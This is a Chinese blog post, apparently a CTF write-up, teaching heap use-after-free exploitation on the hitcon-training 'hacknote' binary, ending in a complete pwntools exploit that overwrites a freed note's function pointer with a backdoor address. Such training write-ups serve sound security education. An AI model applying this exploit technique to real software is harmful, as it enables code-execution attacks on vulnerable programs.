堆利用_UAF

本文最后更新于 2024年10月13日 晚上

堆利用_UAF

原理

我们可以直接从字面上翻译它的意思:使用被释放的内存块。其实当一个内存块被释放之后重新使用有如下几种情况:

内存块被释放后,其对应的指针被设置为NULL,再次使用时程序会崩溃
内存块被释放后,其对应的指针没有被设置为NULL,在它下一次被使用之前,没有代码对这块内存块进行修改,那么程序有可能可以正常运转
内存块被释放后,其对应的指针没有被设置为NULL,但是在下一次使用之前,有代码对这块内存进行了修改,那么当程序再次使用这块内存时,就很有可能出现问题

具体的调试示例青参考下面这篇文章 这个作者还是讲的较为通俗易懂,同时这个知识也较为简单

好好说话之Use After Free

接下来我会通过题目来讲解什么是UAF

hitcon-training-hacknote

img

img

函数名被我编辑过,大家可以用ida右键编辑方便自己记忆

add_note函数

img

img

我们仔细分析一下函数的代码,这个函数是用来创建chunk的,并把chunk地址放到(notelist+4)中

img

而(notelist+i)用来存放printf_note_content函数地址

delnote函数

img

这个函数是用来释放chunk的,但是我们发现它并没有释放chunk的指针,这为我们UAF创造了条件

printf_note函数

img

这个函数就是调用存在(notelist+i)里的print_note_content函数进行打印

magic函数

img

img

这是出题人给的后门函数

思路

可以看到这个整个程序里面并没有堆溢出的地方

那么,我们先创建两个chunk来调试一下

img

img

可以看到两个chunk是通过各自的结构体chunk相连的,可以看到,每一个结构体的大小为0x10

img

这里面存的就是printf_note_content的地址

我们打印看看

img

可以看到是正常的

那么接下来再释放掉

img

img

img

可以看到chunk已经被free掉了,但是对应的指针还没有

那么我们是否可以把print_note_content函数的地址覆盖成magic函数,再来调用print_note函数来getflag呢?(有点绕,请仔细理解一下),答案是肯定的。

那么我们接下来的思路就是如何把print_note_content覆盖

getflag

这个程序中并没有编辑函数来让我们修改

但是程序中的add_note函数是可以修改内容的

img

在free的时候,我们发现结构体同样也是被free的,这里面有两个0x10大小的free_chunk

设想一下,如果我们申请0x8大小的chunk,那么他的大小刚好等于0x10,申请的时候就不会从新分配空间,而是从fastbin里面取出来,那么我们就可以对其中有一个chunk进行编辑

1
size=p32(pre_size)+p32(size)+0x8=0x10

代码如下

img

img

img

可以看到此时print_note_content的位置已被magic函数替代

img

而这个结构体对应的是chunk0

那么直接printf_note(0)即可getflag

img

完整的exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
from pwn import*
io=process('./hacknote2')
gdb.attach(io)
shell=0x8048986
chunk=0x804a070
def add(size,content):
io.recvuntil("Your choice :")
io.sendline("1")
io.recvuntil("Note size :")
io.sendline(str(size))
io.recvuntil("Content :")
io.sendline(content)

def printf(idx):
io.recvuntil("Your choice :")
io.sendline('3')
io.recvuntil("Index :")
io.sendline(str(idx))
def free(idx):
io.recvuntil("Your choice :")
io.sendline('2')
io.recvuntil("Index :")
io.sendline(str(idx))


add(24,'aaaa')
add(24,'aaaa')
free(0)
free(1)
payload=p32(shell)
add(8,payload)
printf(0)
io.interactive()
pause()

参考文献

好好说话之Use After Free

ctfwiki_Use After Freehttps://ctf-wiki.org/pwn/linux/user-mode/heap/ptmalloc2/use-after-free/)


堆利用_UAF
http://example.com/2024/10/01/堆利用-UAF/
作者
清风
发布于
2024年10月1日
许可协议